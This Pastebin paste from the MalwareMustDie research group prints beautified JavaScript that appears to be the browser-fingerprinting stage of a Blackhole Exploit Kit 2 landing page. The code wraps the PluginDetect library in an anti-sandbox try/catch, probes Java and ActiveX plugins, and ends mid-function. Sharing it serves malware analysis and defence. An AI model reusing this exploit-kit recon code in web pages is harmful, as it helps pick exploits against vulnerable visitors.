Advertisement
MalwareMustDie

#MalwareMustDie - BHEK2/PluginDetect0.7.9-2

Nov 17th, 2012
2,166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  try
  2.  {
  3.    if(window.document)window.document.body="asd"
  4.  }
  5.  catch(egewg)
  6.  {
  7.    var PluginDetect=
  8.    {
  9.      version:"0.7.9",name:"PluginDetect",handler:function(c,b,a)
  10.      {
  11.        return function()
  12.        {
  13.          c(b,a)
  14.        }
  15.      }
  16.      ,openTag:"<",isDefined:function(b)
  17.      {
  18.        return typeof b!="undefined"
  19.      }
  20.      ,isArray:function(b)
  21.      {
  22.        return(/array/i).test(Object.prototype.toString.call(b))
  23.      }
  24.      ,isFunc:function(b)
  25.      {
  26.        return typeof b=="function"
  27.      }
  28.      ,isString:function(b)
  29.      {
  30.        return typeof b=="string"
  31.      }
  32.      ,isNum:function(b)
  33.      {
  34.        return typeof b=="number"
  35.      }
  36.      ,isStrNum:function(b)
  37.      {
  38.        return(typeof b=="string"&&(/\d/).test(b))
  39.      }
  40.      ,getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c)
  41.      {
  42.        var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;
  43.        return a?a[0]:null
  44.      }
  45.      ,compareNums:function(h,f,d)
  46.      {
  47.        var e=this,c,b,a,g=parseInt;
  48.        if(e.isStrNum(h)&&e.isStrNum(f))
  49.        {
  50.          if(e.isDefined(d)&&d.compareNums)
  51.          {
  52.            return d.compareNums(h,f)
  53.          }
  54.          c=h.split(e.splitNumRegx);
  55.          b=f.split(e.splitNumRegx);
  56.          for(a=0;a<Math.min(c.length,b.length);
  57.          a++)
  58.          {
  59.            if(g(c[a],10)>g(b[a],10))
  60.            {
  61.              return 1
  62.            }
  63.            if(g(c[a],10)<g(b[a],10))
  64.            {
  65.              return -1
  66.            }
  67.          }
  68.        }
  69.        return 0
  70.      }
  71.      ,formatNum:function(b,c)
  72.      {
  73.        var d=this,a,e;
  74.        if(!d.isStrNum(b))
  75.        {
  76.          return null
  77.        }
  78.        if(!d.isNum(c))
  79.        {
  80.          c=4
  81.        }
  82.        c--;
  83.        e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);
  84.        for(a=0;a<4;a++)
  85.        {
  86.          if(/^(0+)(.+)$/.test(e[a]))
  87.          {
  88.            e[a]=RegExp.$2
  89.          }
  90.          if(a>c||!(/\d/).test(e[a]))
  91.          {
  92.            e[a]="0"
  93.          }
  94.        }
  95.        return e.slice(0,4).join(",")
  96.      }
  97.      ,$$hasMimeType:function(a)
  98.      {
  99.        return function(c)
  100.        {
  101.          if(!a.isIE&&c)
  102.          {
  103.            var f,e,b,d=a.isArray(c)?c:(a.isString(c)?[c]:[]);
  104.            for(b=0;b<d.length;b++)
  105.            {
  106.              if(a.isString(d[b])&&/[^\s]/.test(d[b]))
  107.              {
  108.                f=navigator.mimeTypes[d[b]];
  109.                e=f?f.enabledPlugin:0;
  110.                if(e&&(e.name||e.description))
  111.                {
  112.                  return f
  113.                }
  114.              }
  115.            }
  116.          }
  117.          return null
  118.        }
  119.      }
  120.      ,findNavPlugin:function(l,e,c)
  121.      {
  122.        var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;
  123.        for(f=0;f<a.length;f++)
  124.        {
  125.          m=a[f].description||g;
  126.          b=a[f].name||g;
  127.          if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext))))
  128.          {
  129.            if(!k||!(k.test(m)||k.test(b)))
  130.            {
  131.              return a[f]
  132.            }
  133.          }
  134.        }
  135.        return null
  136.      }
  137.      ,getMimeEnabledPlugin:function(k,m,c)
  138.      {
  139.        var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?[k]:k;
  140.        for(d=0;d<j.length;d++)
  141.        {
  142.          if((f=e.hasMimeType(j[d]))&&(f=f.enabledPlugin))
  143.          {
  144.            l=f.description||h;
  145.            a=f.name||h;
  146.            if(b.test(l)||b.test(a))
  147.            {
  148.              if(!g||!(g.test(l)||g.test(a)))
  149.              {
  150.                return f
  151.              }
  152.            }
  153.          }
  154.        }
  155.        return 0
  156.      }
  157.      ,getPluginFileVersion:function(f,b)
  158.      {
  159.        var h=this,e,d,g,a,c=-1;
  160.        if(h.OS>2||!f||!f.version||!(e=h.getNum(f.version)))
  161.        {
  162.          return b
  163.        }
  164.        if(!b)
  165.        {
  166.          return e
  167.        }
  168.        e=h.formatNum(e);
  169.        b=h.formatNum(b);
  170.        d=b.split(h.splitNumRegx);
  171.        g=e.split(h.splitNumRegx);
  172.        for(a=0;a<d.length;a++)
  173.        {
  174.          if(c>-1&&a>c&&d[a]!="0")
  175.          {
  176.            return b
  177.          }
  178.          if(g[a]!=d[a])
  179.          {
  180.            if(c==-1)
  181.            {
  182.              c=a
  183.            }
  184.            if(d[a]!="0")
  185.            {
  186.              return b
  187.            }
  188.          }
  189.        }
  190.        return e
  191.      }
  192.      ,AXO:window.ActiveXObject,getAXO:function(a)
  193.      {
  194.        var f=null,d,b=this,c=
  195.        {
  196.        };
  197.        try
  198.        {
  199.          f=new b.AXO(a)
  200.        }
  201.        catch(d)
  202.        {
  203.        }
  204.        return f
  205.      }
  206.      ,convertFuncs:function(f)
  207.      {
  208.        var a,g,d,b=/^[\$][\$]/,c=this;
  209.        for(a in f)
  210.        {
  211.          if(b.test(a))
  212.          {
  213.            try
  214.            {
  215.              g=a.slice(2);
  216.              if(g.length>0&&!f[g])
  217.              {
  218.                f[g]=f[a](f);
  219.                delete f[a]
  220.              }
  221.            }
  222.            catch(d)
  223.            {
  224.            }
  225.          }
  226.        }
  227.      }
  228.      ,initObj:function(e,b,d)
  229.      {
  230.        var a,c;
  231.        if(e)
  232.        {
  233.          if(e[b[0]]==1||d)
  234.          {
  235.            for(a=0;a<b.length;a=a+2)
  236.            {
  237.              e[b[a]]=b[a+1]
  238.            }
  239.          }
  240.          for(a in e)
  241.          {
  242.            c=e[a];
  243.            if(c&&c[b[0]]==1)
  244.            {
  245.              this.initObj(c,b)
  246.            }
  247.          }
  248.        }
  249.      }
  250.      ,initScript:function()
  251.      {
  252.        var d=this,a=navigator,h,i=document,l=a.userAgent||"",j=a.vendor||"",b=a.platform||"",k=a.product||"";d.initObj(d,["$",d]);
  253.        for(h in d.Plugins)
  254.        {
  255.          if(d.Plugins[h])
  256.          {
  257.            d.initObj(d.Plugins[h],["$",d,"$$",d.Plugins[h]],1)
  258.          }
  259.        }
  260.        d.convertFuncs(d);
  261.        d.OS=100;
  262.        if(b)
  263.        {
  264.          var g=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100];
  265.          for(h=g.length-2;h>=0;h=h-2)
  266.          {
  267.            if(g[h]&&new RegExp(g[h],"i").test(b))
  268.            {
  269.              d.OS=g[h+1];
  270.              break
  271.            }
  272.          }
  273.        };
  274.        d.head=i.getElementsByTagName("head")[0]||i.getElementsByTagName("body")[0]||i.body||null;
  275.        d.isIE=new Function("return/*@cc_on!@*/!1")();
  276.        d.verIE=d.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(l)?parseFloat(RegExp.$1,10):null;
  277.        d.ActiveXEnabled=false;
  278.        if(d.isIE)
  279.        {
  280.          var h,m=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];
  281.          for(h=0;h<m.length;h++)
  282.          {
  283.            if(d.getAXO(m[h]))
  284.            {
  285.              d.ActiveXEnabled=true;
  286.              break
  287.            }
  288.          }
  289.        };
  290.        d.isGecko=(/Gecko/i).test(k)&&(/Gecko\s*\/\s*\d/i).test(l);
  291.        d.verGecko=d.isGecko?d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l)?RegExp.$1:"0.9"):null;
  292.        d.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  293.        d.verChrome=d.isChrome?d.formatNum(RegExp.$1):null;
  294.        d.isSafari=((/Apple/i).test(j)||(!j&&!d.isChrome))&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  295.        d.verSafari=d.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(l)?d.formatNum(RegExp.$1):null;
  296.        d.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  297.        d.verOpera=d.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(l)||1)?parseFloat(RegExp.$1,10):null;
  298.        d.addWinEvent("load",d.handler(d.runWLfuncs,d))
  299.      }
  300.      ,init:function(d)
  301.      {
  302.        var c=this,b,d,a=
  303.        {
  304.          status:-3,plugin:0
  305.        };
  306.        if(!c.isString(d))
  307.        {
  308.          return a
  309.        }
  310.        if(d.length==1)
  311.        {
  312.          c.getVersionDelimiter=d;
  313.          return a
  314.        }
  315.        d=d.toLowerCase().replace(/\s/g,"");
  316.        b=c.Plugins[d];
  317.        if(!b||!b.getVersion)
  318.        {
  319.          return a
  320.        }
  321.        a.plugin=b;
  322.        if(!c.isDefined(b.installed))
  323.        {
  324.          b.installed=null;
  325.          b.version=null;
  326.          b.version0=null;
  327.          b.getVersionDone=null;
  328.          b.pluginName=d
  329.        }
  330.        c.garbage=false;
  331.        if(c.isIE&&!c.ActiveXEnabled&&d!=="Ja"+"va")
  332.        {
  333.          a.status=-2;
  334.          return a
  335.        }
  336.        a.status=1;
  337.        return a
  338.      }
  339.      ,fPush:function(b,a)
  340.      {
  341.        var c=this;
  342.        if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&b.length>0&&c.isFunc(b[0]))))
  343.        {
  344.          a.push(b)
  345.        }
  346.      }
  347.      ,callArray:function(b)
  348.      {
  349.        var c=this,a;
  350.        if(c.isArray(b))
  351.        {
  352.          for(a=0;a<b.length;a++)
  353.          {
  354.            if(b[a]===null)
  355.            {
  356.              return
  357.            }
  358.            c.call(b[a]);
  359.            b[a]=null
  360.          }
  361.        }
  362.      }
  363.      ,call:function(c)
  364.      {
  365.        var b=this,a=b.isArray(c)?c.length:-1;
  366.        if(a>0&&b.isFunc(c[0]))
  367.        {
  368.          c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)
  369.        }
  370.        else
  371.        {
  372.          if(b.isFunc(c))
  373.          {
  374.            c(b)
  375.          }
  376.        }
  377.      }
  378.      ,$$isMinVersion:function(a)
  379.      {
  380.        return function(h,g,d,c)
  381.        {
  382.          var e=a.init(h),f,b=-1,j=
  383.          {
  384.          };
  385.          if(e.status<0)
  386.          {
  387.            return e.status
  388.          }
  389.          f=e.plugin;
  390.          g=a.formatNum(a.isNum(g)?g.toString():(a.isStrNum(g)?a.getNum(g):"0"));
  391.          if(f.getVersionDone!=1)
  392.          {
  393.            f.getVersion(g,d,c);
  394.            if(f.getVersionDone===null)
  395.            {
  396.              f.getVersionDone=1
  397.            }
  398.          }
  399.          a.cleanup();
  400.          if(f.installed!==null)
  401.          {
  402.            b=f.installed<=0.5?f.installed:(f.installed==0.7?1:(f.version===null?0:(a.compareNums(f.version,g,f)>=0?1:-0.1)))
  403.          };
  404.          return b
  405.        }
  406.      }
  407.      ,getVersionDelimiter:",",$$getVersion:function(a)
  408.      {
  409.        return function(g,d,c)
  410.        {
  411.          var e=a.init(g),f,b,h=
  412.          {
  413.          };
  414.          if(e.status<0)
  415.          {
  416.            return null
  417.          };
  418.          f=e.plugin;
  419.          if(f.getVersionDone!=1)
  420.          {
  421.            f.getVersion(null,d,c);
  422.            if(f.getVersionDone===null)
  423.            {
  424.              f.getVersionDone=1
  425.            }
  426.          }
  427.          a.cleanup();
  428.          b=(f.version||f.version0);
  429.          b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;
  430.          return b
  431.        }
  432.      }
  433.      ,cleanup:function()
  434.      {
  435.        var a=this;
  436.        if(a.garbage&&a.isDefined(window.CollectGarbage))
  437.        {
  438.          window.CollectGarbage()
  439.        }
  440.      }
  441.      ,addWinEvent:function(d,c)
  442.      {
  443.        var e=this,a=window,b;
  444.        if(e.isFunc(c))
  445.        {
  446.          if(a.addEventListener)
  447.          {
  448.            a.addEventListener(d,c,false)
  449.          }
  450.          else
  451.          {
  452.            if(a.attachEvent)
  453.            {
  454.              a.attachEvent("on"+d,c)
  455.            }
  456.            else
  457.            {
  458.              b=a["on"+d];
  459.              a["on"+d]=e.winHandler(c,b)
  460.            }
  461.          }
  462.        }
  463.      }
  464.      ,winHandler:function(d,c)
  465.      {
  466.        return function()
  467.        {
  468.          d();
  469.          if(typeof c=="function")
  470.          {
  471.            c()
  472.          }
  473.        }
  474.      }
  475.      ,WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a)
  476.      {
  477.        var b=
  478.        {
  479.        };
  480.        a.winLoaded=true;
  481.        a.callArray(a.WLfuncs0);
  482.        a.callArray(a.WLfuncs);
  483.        if(a.onDoneEmptyDiv)
  484.        {
  485.          a.onDoneEmptyDiv()
  486.        }
  487.      }
  488.      ,winLoaded:false,$$onWindowLoaded:function(a)
  489.      {
  490.        return function(b)
  491.        {
  492.          if(a.winLoaded)
  493.          {
  494.            a.call(b)
  495.          }
  496.          else
  497.          {
  498.            a.fPush(b,a.WLfuncs)
  499.          }
  500.        }
  501.      }
  502.      ,$$onDetectionDone:function(a)
  503.      {
  504.        return function(h,g,c,b)
  505.        {
  506.          var d=a.init(h),k,e,j=
  507.          {
  508.          };
  509.          if(d.status==-3)
  510.          {
  511.            return -1
  512.          }
  513.          e=d.plugin;
  514.          if(!a.isArray(e.funcs))
  515.          {
  516.            e.funcs=[]
  517.          }
  518.          if(e.getVersionDone!=1)
  519.          {
  520.            k=a.isMinVersion?a.isMinVersion(h,"0",c,b):a.getVersion(h,c,b)
  521.          }
  522.          if(e.installed!=-0.5&&e.installed!=0.5)
  523.          {
  524.            a.call(g);
  525.            return 1
  526.          }
  527.          if(e.NOTF)
  528.          {
  529.            a.fPush(g,e.funcs);
  530.            return 0
  531.          }
  532.          return 1
  533.        }
  534.      }
  535.      ,div:null,divID:"plugindetect",divWidth:50,pluginSize:1,emptyDiv:function()
  536.      {
  537.        var d=this,b,h,c,a,f,g;
  538.        if(d.div&&d.div.childNodes)
  539.        {
  540.          for(b=d.div.childNodes.length-1;b>=0;b--)
  541.          {
  542.            c=d.div.childNodes[b];
  543.            if(c&&c.childNodes)
  544.            {
  545.              for(h=c.childNodes.length-1;h>=0;h--)
  546.              {
  547.                g=c.childNodes[h];
  548.                try
  549.                {
  550.                  c.removeChild(g)
  551.                }
  552.                catch(f)
  553.                {
  554.                }
  555.              }
  556.            }
  557.            if(c)
  558.            {
  559.              try
  560.              {
  561.                d.div.removeChild(c)
  562.              }
  563.              catch(f)
  564.              {
  565.              }
  566.            }
  567.          }
  568.        }
  569.        if(!d.div)
  570.        {
  571.          a=document.getElementById(d.divID);
  572.          if(a)
  573.          {
  574.            d.div=a
  575.          }
  576.        }
  577.        if(d.div&&d.div.parentNode)
  578.        {
  579.          try
  580.          {
  581.            d.div.parentNode.removeChild(d.div)
  582.          }
  583.          catch(f)
  584.          {
  585.          }
  586.          d.div=null
  587.        }
  588.      }
  589.      ,DONEfuncs:[],onDoneEmptyDiv:function()
  590.      {
  591.        var c=this,a,b;
  592.        if(!c.winLoaded)
  593.        {
  594.          return
  595.        }
  596.        if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null)
  597.        {
  598.          return
  599.        }
  600.        for(a in c)
  601.        {
  602.          b=c[a];
  603.          if(b&&b.funcs)
  604.          {
  605.            if(b.OTF==3)
  606.            {
  607.              return
  608.            }
  609.            if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null)
  610.            {
  611.              return
  612.            }
  613.          }
  614.        }
  615.        for(a=0;a<c.DONEfuncs.length;a++)
  616.        {
  617.          c.callArray(c.DONEfuncs)
  618.        }
  619.        c.emptyDiv()
  620.      }
  621.      ,getWidth:function(c)
  622.      {
  623.        if(c)
  624.        {
  625.          var a=c.scrollWidth||c.offsetWidth,b=this;
  626.          if(b.isNum(a))
  627.          {
  628.            return a
  629.          }
  630.        }
  631.        return -1
  632.      }
  633.      ,getTagStatus:function(m,g,a,b)
  634.      {
  635.        var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);
  636.        if(!k||!h||!d||!c.getDOMobj(m))
  637.        {
  638.          return -2
  639.        }
  640.        if(j<i||l<0||j<0||i<0||i<=c.pluginSize||c.pluginSize<1)
  641.        {
  642.          return 0
  643.        }
  644.        if(l>=i)
  645.        {
  646.          return -1
  647.        }
  648.        try
  649.        {
  650.          if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4))
  651.          {
  652.            if(!m.winLoaded&&c.winLoaded)
  653.            {
  654.              return 1
  655.            }
  656.            if(m.winLoaded&&c.isNum(b))
  657.            {
  658.              if(!c.isNum(m.count))
  659.              {
  660.                m.count=b
  661.              }
  662.              if(b-m.count>=10)
  663.              {
  664.                return 1
  665.              }
  666.            }
  667.          }
  668.        }
  669.        catch(f)
  670.        {
  671.        }
  672.        return 0
  673.      }
  674.      ,getDOMobj:function(g,a)
  675.      {
  676.        var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;
  677.        try
  678.        {
  679.          if(b&&a)
  680.          {
  681.            d.div.focus()
  682.          }
  683.        }
  684.        catch(f)
  685.        {
  686.        }
  687.        return b?c.firstChild:null
  688.      }
  689.      ,setStyle:function(b,g)
  690.      {
  691.        var f=b.style,a,d,c=this;
  692.        if(f&&g)
  693.        {
  694.          for(a=0;a<g.length;a=a+2)
  695.          {
  696.            try
  697.            {
  698.              f[g[a]]=g[a+1]
  699.            }
  700.            catch(d)
  701.            {
  702.            }
  703.          }
  704.        }
  705.      }
  706.      ,insertDivInBody:function(i,g)
  707.      {
  708.        var f,c=this,h="pd33993399",b=null,d=g?window.top.document:window.document,a=d.getElementsByTagName("body")[0]||d.body;
  709.        if(!a)
  710.        {
  711.          try
  712.          {
  713.            d.write('<div id="'+h+'">.'+c.openTag+"/div>");
  714.            b=d.getElementById(h)
  715.          }
  716.          catch(f)
  717.          {
  718.          }
  719.        }
  720.        a=d.getElementsByTagName("body")[0]||d.body;
  721.        if(a)
  722.        {
  723.          a.insertBefore(i,a.firstChild);
  724.          if(b)
  725.          {
  726.            a.removeChild(b)
  727.          }
  728.        }
  729.      }
  730.      ,insertHTML:function(f,b,g,a,k)
  731.      {
  732.        var l,m=document,j=this,p,o=m.createElement("span"),n,i;
  733.        var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];
  734.        var h="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  735.        if(!j.isDefined(a))
  736.        {
  737.          a=""
  738.        }
  739.        if(j.isString(f)&&(/[^\s]/).test(f))
  740.        {
  741.          f=f.toLowerCase().replace(/\s/g,"");
  742.          p=j.openTag+f+' width="'+j.pluginSize+'" height="'+j.pluginSize+'" ';
  743.          p+='style="'+h+'display:inline;" ';
  744.          for(n=0;n<b.length;n=n+2)
  745.          {
  746.            if(/[^\s]/.test(b[n+1]))
  747.            {
  748.              p+=b[n]+'="'+b[n+1]+'" '
  749.            }
  750.          }
  751.          p+=">";
  752.          for(n=0;n<g.length;n=n+2)
  753.          {
  754.            if(/[^\s]/.test(g[n+1]))
  755.            {
  756.              p+=j.openTag+'param name="'+g[n]+'" value="'+g[n+1]+'" />'
  757.            }
  758.          }
  759.          p+=a+j.openTag+"/"+f+">"
  760.        }
  761.        else
  762.        {
  763.          p=a
  764.        }
  765.        if(!j.div)
  766.        {
  767.          i=m.getElementById(j.divID);
  768.          if(i)
  769.          {
  770.            j.div=i
  771.          }
  772.          else
  773.          {
  774.            j.div=m.createElement("div");
  775.            j.div.id=j.divID
  776.          }
  777.          j.setStyle(j.div,c.concat(["width",j.divWidth+"px","height",(j.pluginSize+3)+"px","fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));
  778.          if(!i)
  779.          {
  780.            j.setStyle(j.div,["position","absolute","right","0px","top","0px"]);
  781.            j.insertDivInBody(j.div)
  782.          }
  783.        }
  784.        if(j.div&&j.div.parentNode)
  785.        {
  786.          j.setStyle(o,c.concat(["fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));
  787.          try
  788.          {
  789.            o.innerHTML=p
  790.          }
  791.          catch(l)
  792.          {
  793.          };
  794.          try
  795.          {
  796.            j.div.appendChild(o)
  797.          }
  798.          catch(l)
  799.          {
  800.          };
  801.          return
  802.          {
  803.            span:o,winLoaded:j.winLoaded,tagName:f,outerHTML:p
  804.          }
  805.        }
  806.        return
  807.        {
  808.          span:null,winLoaded:j.winLoaded,tagName:"",outerHTML:p
  809.        }
  810.      }
  811.      ,file:
  812.      {
  813.        $:1,any:"fileStorageAny999",valid:"fileStorageValid999",save:function(d,f,c)
  814.        {
  815.          var b=this,e=b.$,a;
  816.          if(d&&e.isDefined(c))
  817.          {
  818.            if(!d[b.any])
  819.            {
  820.              d[b.any]=[]
  821.            }
  822.            if(!d[b.valid])
  823.            {
  824.              d[b.valid]=[]
  825.            }
  826.            d[b.any].push(c);
  827.            a=b.split(f,c);
  828.            if(a)
  829.            {
  830.              d[b.valid].push(a)
  831.            }
  832.          }
  833.        }
  834.        ,getValidLength:function(a)
  835.        {
  836.          return a&&a[this.valid]?a[this.valid].length:0
  837.        }
  838.        ,getAnyLength:function(a)
  839.        {
  840.          return a&&a[this.any]?a[this.any].length:0
  841.        }
  842.        ,getValid:function(c,a)
  843.        {
  844.          var b=this;
  845.          return c&&c[b.valid]?b.get(c[b.valid],a):null
  846.        }
  847.        ,getAny:function(c,a)
  848.        {
  849.          var b=this;
  850.          return c&&c[b.any]?b.get(c[b.any],a):null
  851.        }
  852.        ,get:function(d,a)
  853.        {
  854.          var c=d.length-1,b=this.$.isNum(a)?a:c;
  855.          return(b<0||b>c)?null:d[b]
  856.        }
  857.        ,split:function(g,c)
  858.        {
  859.          var b=this,e=b.$,f=null,a,d;
  860.          g=g?g.replace(".","\."):"";
  861.          d=new RegExp("^(.*[^\/])("+g+"\s*)$");
  862.          if(e.isString(c)&&d.test(c))
  863.          {
  864.            a=(RegExp.$1).split("/");
  865.            f=
  866.            {
  867.              name:a[a.length-1],ext:RegExp.$2,full:c
  868.            };
  869.            a[a.length-1]="";
  870.            f.path=a.join("/")
  871.          }
  872.          return f
  873.        }
  874.        ,z:0
  875.      }
  876.      ,Plugins:
  877.      {
  878.        java:
  879.        {
  880.          mimeType:["application/x-java-applet","application/x-java-vm","application/x-java-bean"],classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",navigator:
  881.          {
  882.            a:window.navigator.javaEnabled(),javaEnabled:function()
  883.            {
  884.              return this.a
  885.            }
  886.            ,mimeObj:0,pluginObj:0
  887.          }
  888.          ,OTF:null,minIEver:7,debug:0,debugEnable:function()
  889.          {
  890.            var a=this,b=a.$;
  891.            a.debug=1
  892.          }
  893.          ,isDisabled:
  894.          {
  895.            $:1,DTK:function()
  896.            {
  897.              var a=this,c=a.$,b=a.$$;
  898.              if((c.isGecko&&c.compareNums(c.verGecko,c.formatNum("1.6"))<=0)||(c.isSafari&&c.OS==1&&(!c.verSafari||c.compareNums(c.verSafari,"5,1,0,0")<0))||c.isChrome||(c.isIE&&!c.ActiveXEnabled))
  899.              {
  900.                return 1
  901.              }
  902.              return 0
  903.            }
  904.            ,AXO:function()
  905.            {
  906.              var a=this,c=a.$,b=a.$$;
  907.              return(!c.isIE||!c.ActiveXEnabled||(!b.debug&&b.DTK.query().status!==0))
  908.            }
  909.            ,navMime:function()
  910.            {
  911.              var b=this,d=b.$,c=b.$$,a=c.navigator;
  912.              if(d.isIE||!a.mimeObj||!a.pluginObj)
  913.              {
  914.                return 1
  915.              }
  916.              return 0
  917.            }
  918.            ,navPlugin:function()
  919.            {
  920.              var b=this,d=b.$,c=b.$$,a=c.navigator;
  921.              if(d.isIE||!a.mimeObj||!a.pluginObj)
  922.              {
  923.                return 1
  924.              }
  925.              return 0
  926.            }
  927.            ,windowDotJava:function()
  928.            {
  929.              var a=this,c=a.$,b=a.$$;
  930.              if(!window.java)
  931.              {
  932.                return 1
  933.              }
  934.              if(c.OS==2&&c.verOpera&&c.verOpera<9.2&&c.verOpera>=9)
  935.              {
  936.                return 1
  937.              }
  938.              return 0
  939.            }
  940.            ,allApplets:function()
  941.            {
  942.              var b=this,d=b.$,c=b.$$,a=c.navigator;
  943.              if(d.OS>=20)
  944.              {
  945.                return 0
  946.              }
  947.              if(d.verOpera&&d.verOpera<11&&!a.javaEnabled()&&!c.lang.System.getProperty()[0])
  948.              {
  949.                return 1
  950.              }
  951.              if((d.verGecko&&d.compareNums(d.verGecko,d.formatNum("2"))<0)&&!a.mimeObj&&!c.lang.System.getProperty()[0])
  952.              {
  953.                return 1
  954.              }
  955.              return 0
  956.            }
  957.            ,AppletTag:function()
  958.            {
  959.              var b=this,d=b.$,c=b.$$,a=c.navigator;
  960.              return d.isIE?!a.javaEnabled():0
  961.            }
  962.            ,ObjectTag:function()
  963.            {
  964.              var a=this,c=a.$,b=a.$$;
  965.              return c.isIE?!c.ActiveXEnabled:0
  966.            }
  967.            ,z:0
  968.          }
  969.          ,getVerifyTagsDefault:function()
  970.          {
  971.            var a=this,c=a.$,b=[1,0,1];
  972.            if(c.OS>=20)
  973.            {
  974.              return b
  975.            }
  976.            if((c.isIE&&(c.verIE<9||!c.ActiveXEnabled))||(c.verGecko&&c.compareNums(c.verGecko,c.formatNum("2"))<0)||(c.isSafari&&(!c.verSafari||c.compareNums(c.verSafari,c.formatNum("4"))<0))||(c.verOpera&&c.verOpera<10))
  977.            {
  978.              b=[1,1,1]
  979.            }
  980.            return b
  981.          }
  982.          ,getVersion:function(j,g,i)
  983.          {
  984.            var b=this,d=b.$,e,a=b.applet,h=b.verify,k=b.navigator,f=null,l=null,c=null;
  985.            if(b.getVersionDone===null)
  986.            {
  987.              b.OTF=0;
  988.              k.mimeObj=d.hasMimeType(b.mimeType);
  989.              if(k.mimeObj)
  990.              {
  991.                k.pluginObj=k.mimeObj.enabledPlugin
  992.              }
  993.              if(h)
  994.              {
  995.                h.begin()
  996.              }
  997.            }
  998.            a.setVerifyTagsArray(i);
  999.            d.file.save(b,".jar",g);
  1000.            if(b.getVersionDone===0)
  1001.            {
  1002.              if(a.should_Insert_Query_Any())
  1003.              {
  1004.                e=a.insert_Query_Any();
  1005.                b.setPluginStatus(e[0],e[1],f)
  1006.              }
  1007.              return
  1008.            }
  1009.            if((!f||b.debug)&&b.DTK.query().version)
  1010.            {
  1011.              f=b.DTK.version
  1012.            }
  1013.            if((!f||b.debug)&&b.navMime.query().version)
  1014.            {
  1015.              f=b.navMime.version
  1016.            }
  1017.            if((!f||b.debug)&&b.navPlugin.query().version)
  1018.            {
  1019.              f=b.navPlugin.version
  1020.            }
  1021.            if((!f||b.debug)&&b.AXO.query().version)
  1022.            {
  1023.              f=b.AXO.version
  1024.            }
  1025.            if(b.nonAppletDetectionOk(f))
  1026.            {
  1027.              c=f
  1028.            }
  1029.            if(!c||b.debug||a.VerifyTagsHas(2.2)||a.VerifyTagsHas(2.5))
  1030.            {
  1031.              e=b.lang.System.getProperty();
  1032.              if(e[0])
  1033.              {
  1034.                f=e[0];
  1035.                c=e[0];
  1036.                l=e[1]
  1037.              }
  1038.            }
  1039.            b.setPluginStatus(c,l,f);
  1040.            if(a.should_Insert_Query_Any())
  1041.            {
  1042.              e=a.insert_Query_Any();
  1043.              if(e[0])
  1044.              {
  1045.                c=e[0];
  1046.                l=e[1]
  1047.              }
  1048.            }
  1049.            b.setPluginStatus(c,l,f)
  1050.          }
  1051.          ,nonAppletDetectionOk:function(b)
  1052.          {
  1053.            var d=this,e=d.$,a=d.navigator,c=1;
  1054.            if(!b||(!a.javaEnabled()&&!d.lang.System.getPropertyHas(b))||(!e.isIE&&!a.mimeObj&&!d.lang.System.getPropertyHas(b))||(e.isIE&&!e.ActiveXEnabled))
  1055.            {
  1056.              c=0
  1057.            }
  1058.            else
  1059.            {
  1060.              if(e.OS>=20)
  1061.              {
  1062.              }
  1063.              else
  1064.              {
  1065.                if(d.info&&d.info.getPlugin2Status()<0&&d.info.BrowserRequiresPlugin2())
  1066.                {
  1067.                  c=0
  1068.                }
  1069.              }
  1070.            }
  1071.            return c
  1072.          }
  1073.          ,setPluginStatus:function(d,f,a)
  1074.          {
  1075.            var c=this,e=c.$,b;
  1076.            a=a||c.version0;
  1077.            if(c.OTF>0)
  1078.            {
  1079.              d=d||c.lang.System.getProperty()[0]
  1080.            }
  1081.            if(c.OTF<3)
  1082.            {
  1083.              b=d?1:(a?-0.2:-1);
  1084.              if(c.installed===null||b>c.installed)
  1085.              {
  1086.                c.installed=b
  1087.              }
  1088.            }
  1089.            if(c.OTF==2&&c.NOTF&&!c.applet.getResult()[0]&&!c.lang.System.getProperty()[0])
  1090.            {
  1091.              c.installed=a?-0.2:-1
  1092.            };
